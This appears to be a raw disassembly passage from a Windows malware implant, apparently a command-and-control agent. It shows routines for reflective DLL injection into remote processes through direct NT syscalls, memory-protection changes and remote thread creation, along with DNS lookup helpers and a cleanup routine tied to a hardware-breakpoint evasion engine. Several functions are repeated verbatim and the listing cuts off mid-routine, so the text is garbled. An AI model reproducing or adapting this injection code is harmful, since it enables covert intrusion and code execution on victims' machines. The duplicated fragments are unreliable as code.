1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270
1400117b7
1400117b7 // align 0x10
1400117b7 // align 0x10
1400117c0
1400117c0DllSpawnReflective:
1400117c0push r15
1400117c2push r14
1400117c4lea r14, [rip+0x1af65]
1400117cbpush r13
1400117cdmov r13l, edx
1400117d0mov rdx, r14
1400117d3push r12
1400117d5mov r12, rcx
1400117d8lea rcx, [rip+0x19a11]
1400117dfpush rbp
1400117e0mov ebp, r9l
1400117e3push rdi
1400117e4push rsi
1400117e5mov rsi, r8
1400117e8push rbx
1400117e9mov ebx, 4099
1400117eesub rsp, 104
1400117f2mov r15, [rsp+224]
1400117famov [rsp+32], r9l
1400117ffmov r9, r8
140011802mov r8l, 324
140011808lea rdi, [rsp+72]
14001180dmov [rsp+40], r15
140011812call printf
140011817xor eax, eax
140011819mov ecx, 6
14001181erep stosd [rdi], eax
140011820mov rcx, rsi
140011823call GetPeArch
140011828mov r9l, 0x8000004
14001182emov ecx, 1
140011833mov edx, eax
140011835mov rax, [rip+0x1ab34]
14001183cdec edx
14001183emov r8, [rax+264]
140011845cmovne r8, [rax+256]
14001184dxor eax, eax
14001184fmov [rsp+40], 1
140011857mov [rsp+48], rax
14001185clea rax, [rsp+72]
140011861xor edx, edx
140011863mov [rsp+32], rax
140011868call ProcessCreate
14001186dtest eax, eax
14001186fje 0x1400118e9
140011871mov [rsp+56], r15
140011876mov rcx, [rsp+72]
14001187bmov r9, rsi
14001187emov r8l, r13l
140011881mov rax, [rsp+216]
140011889mov [rsp+32], ebp
14001188dmov rdx, r12
140011890mov [rsp+48], rax
140011895mov rax, [rsp+208]
14001189dmov [rsp+40], rax
1400118a2call DllInjectReflective
1400118a7mov ebx, eax
1400118a9test eax, eax
1400118abje 0x1400118e9
1400118adlea r9, [rip+0x19962]
1400118b4mov r8l, 343
1400118bamov rdx, r14
1400118bdlea rcx, [rip+0x191ce]
1400118c4call printf
1400118c9mov rcx, [rsp+72]
1400118cexor edx, edx
1400118d0call ProcessTerminate
1400118d5mov rcx, [rsp+72]
1400118dacall SysNtClose
1400118dfmov rcx, [rsp+80]
1400118e4call SysNtClose
1400118e9
1400118e9loc_1400118e9:
1400118e9add rsp, 104
1400118edmov eax, ebx
1400118efpop rbx
1400118f0pop rsi
1400118f1pop rdi
1400118f2pop rbp
1400118f3pop r12
1400118f5pop r13
1400118f7pop r14
1400118f9pop r15
1400118fbret
1400117c0
1400117c0DllSpawnReflective:
1400117c0push r15
1400117c2push r14
1400117c4lea r14, [rip+0x1af65]
1400117cbpush r13
1400117cdmov r13l, edx
1400117d0mov rdx, r14
1400117d3push r12
1400117d5mov r12, rcx
1400117d8lea rcx, [rip+0x19a11]
1400117dfpush rbp
1400117e0mov ebp, r9l
1400117e3push rdi
1400117e4push rsi
1400117e5mov rsi, r8
1400117e8push rbx
1400117e9mov ebx, 4099
1400117eesub rsp, 104
1400117f2mov r15, [rsp+224]
1400117famov [rsp+32], r9l
1400117ffmov r9, r8
140011802mov r8l, 324
140011808lea rdi, [rsp+72]
14001180dmov [rsp+40], r15
140011812call printf
140011817xor eax, eax
140011819mov ecx, 6
14001181erep stosd [rdi], eax
140011820mov rcx, rsi
140011823call GetPeArch
140011828mov r9l, 0x8000004
14001182emov ecx, 1
140011833mov edx, eax
140011835mov rax, [rip+0x1ab34]
14001183cdec edx
14001183emov r8, [rax+264]
140011845cmovne r8, [rax+256]
14001184dxor eax, eax
14001184fmov [rsp+40], 1
140011857mov [rsp+48], rax
14001185clea rax, [rsp+72]
140011861xor edx, edx
140011863mov [rsp+32], rax
140011868call ProcessCreate
14001186dtest eax, eax
14001186fje 0x1400118e9
140011871mov [rsp+56], r15
140011876mov rcx, [rsp+72]
14001187bmov r9, rsi
14001187emov r8l, r13l
140011881mov rax, [rsp+216]
140011889mov [rsp+32], ebp
14001188dmov rdx, r12
140011890mov [rsp+48], rax
140011895mov rax, [rsp+208]
14001189dmov [rsp+40], rax
1400118a2call DllInjectReflective
1400118a7mov ebx, eax
1400118a9test eax, eax
1400118abje 0x1400118e9
1400118adlea r9, [rip+0x19962]
1400118b4mov r8l, 343
1400118bamov rdx, r14
1400118bdlea rcx, [rip+0x191ce]
1400118c4call printf
1400118c9mov rcx, [rsp+72]
1400118cexor edx, edx
1400118d0call ProcessTerminate
1400118d5mov rcx, [rsp+72]
1400118dacall SysNtClose
1400118dfmov rcx, [rsp+80]
1400118e4call SysNtClose
1400118e9
1400118e9loc_1400118e9:
1400118e9add rsp, 104
1400118edmov eax, ebx
1400118efpop rbx
1400118f0pop rsi
1400118f1pop rdi
1400118f2pop rbp
1400118f3pop r12
1400118f5pop r13
1400118f7pop r14
1400118f9pop r15
1400118fbret
1400117c0
1400118fc
1400118fc // align 0x10
1400118fc // align 0x10
140011900
140011900DnsQueryIPv4:
140011900push rdi
140011901xor eax, eax
140011903push rsi
140011904mov rsi, rcx
140011907mov ecx, 12
14001190cpush rbx
14001190dadd rsp, -128
140011911lea rdi, [rsp+80]
140011916rep stosd [rdi], eax
140011918xor eax, eax
14001191amov [rsp+72], rax
14001191fcall InitWSA
140011924test eax, eax
140011926je 0x140011980
140011928xor edx, edx
14001192alea r9, [rsp+72]
14001192flea r8, [rsp+80]
140011934mov rcx, rsi
140011937mov rdi, [rip+0x1aa32]
14001193emov [rsp+84], 2
140011946mov rax, 0x600000001
140011950mov [rsp+88], rax
140011955call [rdi+1940]
14001195blea rdx, [rip+0x1af1e]
140011962test eax, eax
140011964mov r9l, eax
140011967je 0x140011984
140011969mov [rsp+32], rsi
14001196emov r8l, 557
140011974lea rcx, [rip+0x17702]
14001197bcall printf
140011980
140011980loc_140011980:
140011980xor ebx, ebx
140011982jmp 0x1400119d5
140011984
140011984loc_140011984:
140011984mov rcx, [rsp+72]
140011989mov rax, [rcx+32]
14001198dmov ebx, [rax+4]
140011990call [rdi+1948]
140011996mov r9, rsi
140011999mov r8l, 565
14001199flea rdx, [rip+0x1aeda]
1400119a6mov eax, ebx
1400119a8lea rcx, [rip+0x17701]
1400119afshr eax, 24
1400119b2mov [rsp+56], eax
1400119b6mov eax, ebx
1400119b8shr eax, 16
1400119bbmovzx eax, al
1400119bemov [rsp+48], eax
1400119c2movzx eax, bh
1400119c5mov [rsp+40], eax
1400119c9movzx eax, bl
1400119ccmov [rsp+32], eax
1400119d0call printf
1400119d5
1400119d5loc_1400119d5:
1400119d5sub rsp, -128
1400119d9mov eax, ebx
1400119dbpop rbx
1400119dcpop rsi
1400119ddpop rdi
1400119deret
140011900
140011900DnsQueryIPv4:
140011900push rdi
140011901xor eax, eax
140011903push rsi
140011904mov rsi, rcx
140011907mov ecx, 12
14001190cpush rbx
14001190dadd rsp, -128
140011911lea rdi, [rsp+80]
140011916rep stosd [rdi], eax
140011918xor eax, eax
14001191amov [rsp+72], rax
14001191fcall InitWSA
140011924test eax, eax
140011926je 0x140011980
140011928xor edx, edx
14001192alea r9, [rsp+72]
14001192flea r8, [rsp+80]
140011934mov rcx, rsi
140011937mov rdi, [rip+0x1aa32]
14001193emov [rsp+84], 2
140011946mov rax, 0x600000001
140011950mov [rsp+88], rax
140011955call [rdi+1940]
14001195blea rdx, [rip+0x1af1e]
140011962test eax, eax
140011964mov r9l, eax
140011967je 0x140011984
140011969mov [rsp+32], rsi
14001196emov r8l, 557
140011974lea rcx, [rip+0x17702]
14001197bcall printf
140011980
140011980loc_140011980:
140011980xor ebx, ebx
140011982jmp 0x1400119d5
140011984
140011984loc_140011984:
140011984mov rcx, [rsp+72]
140011989mov rax, [rcx+32]
14001198dmov ebx, [rax+4]
140011990call [rdi+1948]
140011996mov r9, rsi
140011999mov r8l, 565
14001199flea rdx, [rip+0x1aeda]
1400119a6mov eax, ebx
1400119a8lea rcx, [rip+0x17701]
1400119afshr eax, 24
1400119b2mov [rsp+56], eax
1400119b6mov eax, ebx
1400119b8shr eax, 16
1400119bbmovzx eax, al
1400119bemov [rsp+48], eax
1400119c2movzx eax, bh
1400119c5mov [rsp+40], eax
1400119c9movzx eax, bl
1400119ccmov [rsp+32], eax
1400119d0call printf
1400119d5
1400119d5loc_1400119d5:
1400119d5sub rsp, -128
1400119d9mov eax, ebx
1400119dbpop rbx
1400119dcpop rsi
1400119ddpop rdi
1400119deret
140011900
1400119df
1400119df // align 0x10
1400119df // align 0x10
1400119e0
1400119e0DnsQueryIPv6:
1400119e0push rbp
1400119e1xor eax, eax
1400119e3mov rbp, rsp
1400119e6push r12
1400119e8push rdi
1400119e9push rsi
1400119eamov rsi, rcx
1400119edmov ecx, 12
1400119f2push rbx
1400119f3and rsp, -16
1400119f7sub rsp, 224
1400119felea rdi, [rsp+176]
140011a06rep stosd [rdi], eax
140011a08xor eax, eax
140011a0amov [rsp+168], rax
140011a12call InitWSA
140011a17test eax, eax
140011a19je 0x140011a82
140011a1bmov rdi, [rip+0x1a94e]
140011a22lea r9, [rsp+168]
140011a2axor edx, edx
140011a2cmov rcx, rsi
140011a2flea r8, [rsp+176]
140011a37lea r12, [rip+0x1ac42]
140011a3emov rax, 0x600000001
140011a48mov [rsp+180], 23
140011a53mov [rsp+184], rax
140011a5bcall [rdi+1940]
140011a61test eax, eax
140011a63mov r9l, eax
140011a66je 0x140011a89
140011a68mov [rsp+32], rsi
140011a6dmov r8l, 598
140011a73mov rdx, r12
140011a76lea rcx, [rip+0x17600]
140011a7dcall printf
140011a82
140011a82loc_140011a82:
140011a82xor ebx, ebx
140011a84jmp 0x140011b58
140011a89
140011a89loc_140011a89:
140011a89mov edx, 16
140011a8emov ecx, 64
140011a93call [rdi+932]
140011a99mov rcx, [rsp+168]
140011aa1mov rbx, rax
140011aa4mov rax, [rcx+32]
140011aa8movups x0, [rax+8]
140011aacmovups [rbx], x0
140011aafcall [rdi+1948]
140011ab5movzx eax, [rbx+15]
140011ab9mov r9, rsi
140011abcmov rdx, r12
140011abfmov r8l, 609
140011ac5lea rcx, [rip+0x17612]
140011accmov [rsp+152], eax
140011ad3movzx eax, [rbx+14]
140011ad7mov [rsp+144], eax
140011ademovzx eax, [rbx+13]
140011ae2mov [rsp+136], eax
140011ae9movzx eax, [rbx+12]
140011aedmov [rsp+128], eax
140011af4movzx eax, [rbx+11]
140011af8mov [rsp+120], eax
140011afcmovzx eax, [rbx+10]
140011b00mov [rsp+112], eax
140011b04movzx eax, [rbx+9]
140011b08mov [rsp+104], eax
140011b0cmovzx eax, [rbx+8]
140011b10mov [rsp+96], eax
140011b14movzx eax, [rbx+7]
140011b18mov [rsp+88], eax
140011b1cmovzx eax, [rbx+6]
140011b20mov [rsp+80], eax
140011b24movzx eax, [rbx+5]
140011b28mov [rsp+72], eax
140011b2cmovzx eax, [rbx+4]
140011b30mov [rsp+64], eax
140011b34movzx eax, [rbx+3]
140011b38mov [rsp+56], eax
140011b3cmovzx eax, [rbx+2]
140011b40mov [rsp+48], eax
140011b44movzx eax, [rbx+1]
140011b48mov [rsp+40], eax
140011b4cmovzx eax, [rbx]
140011b4fmov [rsp+32], eax
140011b53call printf
140011b58
140011b58loc_140011b58:
140011b58lea rsp, [rbp-32]
140011b5cmov rax, rbx
140011b5fpop rbx
140011b60pop rsi
140011b61pop rdi
140011b62pop r12
140011b64pop rbp
140011b65ret
1400119e0
1400119e0DnsQueryIPv6:
1400119e0push rbp
1400119e1xor eax, eax
1400119e3mov rbp, rsp
1400119e6push r12
1400119e8push rdi
1400119e9push rsi
1400119eamov rsi, rcx
1400119edmov ecx, 12
1400119f2push rbx
1400119f3and rsp, -16
1400119f7sub rsp, 224
1400119felea rdi, [rsp+176]
140011a06rep stosd [rdi], eax
140011a08xor eax, eax
140011a0amov [rsp+168], rax
140011a12call InitWSA
140011a17test eax, eax
140011a19je 0x140011a82
140011a1bmov rdi, [rip+0x1a94e]
140011a22lea r9, [rsp+168]
140011a2axor edx, edx
140011a2cmov rcx, rsi
140011a2flea r8, [rsp+176]
140011a37lea r12, [rip+0x1ac42]
140011a3emov rax, 0x600000001
140011a48mov [rsp+180], 23
140011a53mov [rsp+184], rax
140011a5bcall [rdi+1940]
140011a61test eax, eax
140011a63mov r9l, eax
140011a66je 0x140011a89
140011a68mov [rsp+32], rsi
140011a6dmov r8l, 598
140011a73mov rdx, r12
140011a76lea rcx, [rip+0x17600]
140011a7dcall printf
140011a82
140011a82loc_140011a82:
140011a82xor ebx, ebx
140011a84jmp 0x140011b58
140011a89
140011a89loc_140011a89:
140011a89mov edx, 16
140011a8emov ecx, 64
140011a93call [rdi+932]
140011a99mov rcx, [rsp+168]
140011aa1mov rbx, rax
140011aa4mov rax, [rcx+32]
140011aa8movups x0, [rax+8]
140011aacmovups [rbx], x0
140011aafcall [rdi+1948]
140011ab5movzx eax, [rbx+15]
140011ab9mov r9, rsi
140011abcmov rdx, r12
140011abfmov r8l, 609
140011ac5lea rcx, [rip+0x17612]
140011accmov [rsp+152], eax
140011ad3movzx eax, [rbx+14]
140011ad7mov [rsp+144], eax
140011ademovzx eax, [rbx+13]
140011ae2mov [rsp+136], eax
140011ae9movzx eax, [rbx+12]
140011aedmov [rsp+128], eax
140011af4movzx eax, [rbx+11]
140011af8mov [rsp+120], eax
140011afcmovzx eax, [rbx+10]
140011b00mov [rsp+112], eax
140011b04movzx eax, [rbx+9]
140011b08mov [rsp+104], eax
140011b0cmovzx eax, [rbx+8]
140011b10mov [rsp+96], eax
140011b14movzx eax, [rbx+7]
140011b18mov [rsp+88], eax
140011b1cmovzx eax, [rbx+6]
140011b20mov [rsp+80], eax
140011b24movzx eax, [rbx+5]
140011b28mov [rsp+72], eax
140011b2cmovzx eax, [rbx+4]
140011b30mov [rsp+64], eax
140011b34movzx eax, [rbx+3]
140011b38mov [rsp+56], eax
140011b3cmovzx eax, [rbx+2]
140011b40mov [rsp+48], eax
140011b44movzx eax, [rbx+1]
140011b48mov [rsp+40], eax
140011b4cmovzx eax, [rbx]
140011b4fmov [rsp+32], eax
140011b53call printf
140011b58
140011b58loc_140011b58:
140011b58lea rsp, [rbp-32]
140011b5cmov rax, rbx
140011b5fpop rbx
140011b60pop rsi
140011b61pop rdi
140011b62pop r12
140011b64pop rbp
140011b65ret
1400119e0
140011b66
140011b66 // align 0x10
140011b66 // align 0x10
140011b70
140011b70DotnetClose:
140011b70push rbp
140011b71push rdi
140011b72push rsi
140011b73push rbx
140011b74sub rsp, 40
140011b78mov rbx, [rip+0x1a7f1]
140011b7fcmp [rbx+223], 1
140011b86jne 0x140011b8f
140011b88xor ecx, ecx
140011b8acall HwBpEngineDestroy
140011b8f
140011b8floc_140011b8f:
140011b8fmov rax, [rbx+2266]
140011b96mov rcx, [rax+104]
140011b9atest rcx, rcx
140011b9dje 0x140011ba4
140011b9fcall SysNtClose
140011ba4
140011ba4loc_140011ba4:
140011ba4mov rax, [rbx+2266]
140011babmov rcx, [rax+72]
140011baftest rcx, rcx
140011bb2je 0x140011bb9
140011bb4call SysNtClose
140011bb9
140011bb9loc_140011bb9:
140011bb9mov rax, [rbx+2266]
140011bc0mov rcx, [rax+80]
140011bc4test rcx, rcx
140011bc7je 0x140011bce
140011bc9call SysNtClose
140011bce
140011bceloc_140011bce:
140011bcemov rax, [rbx+2266]
140011bd5mov rdi, [rax+264]
140011bdctest rdi, rdi
140011bdfje 0x140011c0f
140011be1mov ecx, 1232
140011be6xor eax, eax
140011be8rep stosb [rdi], al
140011beamov rax, [rbx+2266]
140011bf1mov rcx, [rax+264]
140011bf8call [rbx+940]
140011bfemov rax, [rbx+2266]
140011c05xor r8l, r8l
140011c08mov [rax+264], r8
140011c0f
140011c0floc_140011c0f:
140011c0fmov rax, [rbx+2266]
140011c16mov rdi, [rax+272]
140011c1dtest rdi, rdi
140011c20je 0x140011c4f
140011c22mov ecx, 1232
140011c27xor eax, eax
140011c29rep stosb [rdi], al
140011c2bmov rax, [rbx+2266]
140011c32mov rcx, [rax+272]
140011c39call [rbx+940]
140011c3fmov rax, [rbx+2266]
140011c46xor ecx, ecx
140011c48mov [rax+272], rcx
140011c4f
140011c4floc_140011c4f:
140011c4fmov rax, [rbx+2266]
140011c56mov rdi, [rax+280]
140011c5dtest rdi, rdi
140011c60je 0x140011c8f
140011c62mov ecx, 1232
140011c67xor eax, eax
140011c69rep stosb [rdi], al
140011c6bmov rax, [rbx+2266]
140011c72mov rcx, [rax+280]
140011c79call [rbx+940]
140011c7fmov rax, [rbx+2266]
140011c86xor edx, edx
140011c88mov [rax+280], rdx
140011c8f
140011c8floc_140011c8f:
140011c8fmov rax, [rbx+2266]
140011c96mov rdi, [rax+288]
140011c9dtest rdi, rdi
140011ca0je 0x140011ccf
140011ca2mov ecx, 1232
140011ca7xor eax, eax
140011ca9rep stosb [rdi], al
140011cabmov rax, [rbx+2266]
140011cb2xor ebp, ebp
140011cb4mov rcx, [rax+288]
140011cbbcall [rbx+940]
140011cc1mov rax, [rbx+2266]
140011cc8mov [rax+288], rbp
140011ccf
140011ccfloc_140011ccf:
140011ccflea rbp, [rip+0x1aaea]
140011cd6lea rsi, [rip+0x15979]
140011cddmov r8l, 445
140011ce3lea r9, [rip+0x15960]
140011ceamov rdx, rbp
140011cedmov rcx, rsi
140011cf0call printf
140011cf5mov rax, [rbx+2266]
140011cfcmov rdi, [rax+56]
140011d00test rdi, rdi
140011d03je 0x140011d2a
140011d05mov ecx, [rax+64]
140011d08xor eax, eax
140011d0arep stosb [rdi], al
140011d0cmov rax, [rbx+2266]
140011d13xor edi, edi
140011d15mov rcx, [rax+56]
140011d19call [rbx+940]
140011d1fmov rax, [rbx+2266]
140011d26mov [rax+56], rdi
140011d2a
140011d2aloc_140011d2a:
140011d2amov rcx, rsi
140011d2dlea r9, [rip+0x15936]
140011d34mov r8l, 453
140011d3amov rdx, rbp
140011d3dcall printf
140011d42mov rax, [rbx+2266]
140011d49mov rcx, [rax+144]
140011d50test rcx, rcx
140011d53je 0x140011d6b
140011d55call [rbx+1324]
140011d5bmov rax, [rbx+2266]
140011d62xor esi, esi
140011d64mov [rax+144], rsi
140011d6b
140011d6bloc_140011d6b:
140011d6bmov rax, [rbx+2266]
140011d72mov rcx, [rax+200]
140011d79test rcx, rcx
140011d7cje 0x140011d95
140011d7emov rax, [rcx]
140011d81call [rax+16]
140011d84mov rax, [rbx+2266]
140011d8bxor r11l, r11l
140011d8emov [rax+200], r11
140011d95
140011d95loc_140011d95:
140011d95mov rax, [rbx+2266]
140011d9cmov rcx, [rax+176]
140011da3test rcx, rcx
140011da6je 0x140011dbf
140011da8mov rax, [rcx]
140011dabcall [rax+16]
140011daemov rax, [rbx+2266]
140011db5xor r10l, r10l
140011db8mov [rax+176], r10
140011dbf
140011dbfloc_140011dbf:
140011dbfmov rax, [rbx+2266]
140011dc6mov rcx, [rax+192]
140011dcdtest rcx, rcx
140011dd0je 0x140011de9
140011dd2mov rax, [rcx]
140011dd5call [rax+16]
140011dd8mov rax, [rbx+2266]
140011ddfxor r9l, r9l
140011de2mov [rax+192], r9
140011de9
140011de9loc_140011de9:
140011de9mov rax, [rbx+2266]
140011df0mov rcx, [rax+184]
140011df7test rcx, rcx
140011dfaje 0x140011e02
140011dfcmov rax, [rcx]
140011dffcall [rax+16]
140011e02
140011e02loc_140011e02:
140011e02mov rax, [rbx+2266]
140011e09mov rcx, [rax+168]
140011e10test rcx, rcx
140011e13je 0x140011e4a
140011e15mov rdx, [rax+184]
140011e1cmov rax, [rcx]
140011e1fcall [rax+160]
140011e25mov rax, [rbx+2266]
140011e2cmov rcx, [rax+168]
140011e33mov rax, [rcx]
140011e36call [rax+88]
140011e39mov rax, [rbx+2266]
140011e40xor r8l, r8l
140011e43mov [rax+168], r8
140011e4a
140011e4aloc_140011e4a:
140011e4amov rax, [rbx+2266]
140011e51mov rcx, [rax+160]
140011e58test rcx, rcx
140011e5bje 0x140011e73
140011e5dmov rax, [rcx]
140011e60call [rax+16]
140011e63mov rax, [rbx+2266]
140011e6axor ecx, ecx
140011e6cmov [rax+160], rcx
140011e73
140011e73loc_140011e73:
140011e73mov rax, [rbx+2266]
140011e7amov rcx, [rax+152]
140011e81test rcx, rcx
140011e84je 0x140011e9c
140011e86mov rax, [rcx]
140011e89call [rax+16]
140011e8cmov rax, [rbx+2266]
140011e93xor edx, edx
140011e95mov [rax+152], rdx
140011e9c
140011e9cloc_140011e9c:
140011e9cmov rax, [rbx+2266]
140011ea3mov rcx, [rax+96]
140011ea7test rcx, rcx
140011eaaje 0x140011ec3
140011eacxor edx, edx
140011eaecall SysNtTerminateThread
140011eb3mov rax, [rbx+2266]
140011ebamov rcx, [rax+96]
140011ebecall SysNtClose
140011ec3
140011ec3loc_140011ec3:
140011ec3mov rax, [rbx+2266]
140011ecamov rcx, [rax+112]
140011ecetest rcx, rcx
140011ed1je 0x140011ed8
140011ed3call SysNtClose
140011ed8
140011ed8loc_140011ed8:
140011ed8mov rdi, [rbx+2266]
140011edftest rdi, rdi
140011ee2je 0x140011f14
140011ee4mov ecx, 296
140011ee9xor eax, eax
140011eebrep stosb [rdi], al
140011eedmov rax, [rbx+2230]
140011ef4mov r8, [rbx+2266]
140011efbxor edx, edx
140011efdmov rax, [rax+96]
140011f01mov rcx, [rax+48]
140011f05call [rbx+332]
140011f0bxor eax, eax
140011f0dmov [rbx+2266], rax
140011f14
140011f14loc_140011f14:
140011f14add rsp, 40
140011f18pop rbx
140011f19pop rsi
140011f1apop rdi
140011f1bpop rbp
140011f1cret
140011b70
140011b70DotnetClose:
140011b70push rbp
140011b71push rdi
140011b72push rsi
140011b73push rbx
140011b74sub rsp, 40
140011b78mov rbx, [rip+0x1a7f1]
140011b7fcmp [rbx+223], 1
140011b86jne 0x140011b8f
140011b88xor ecx, ecx
140011b8acall HwBpEngineDestroy
140011b8f
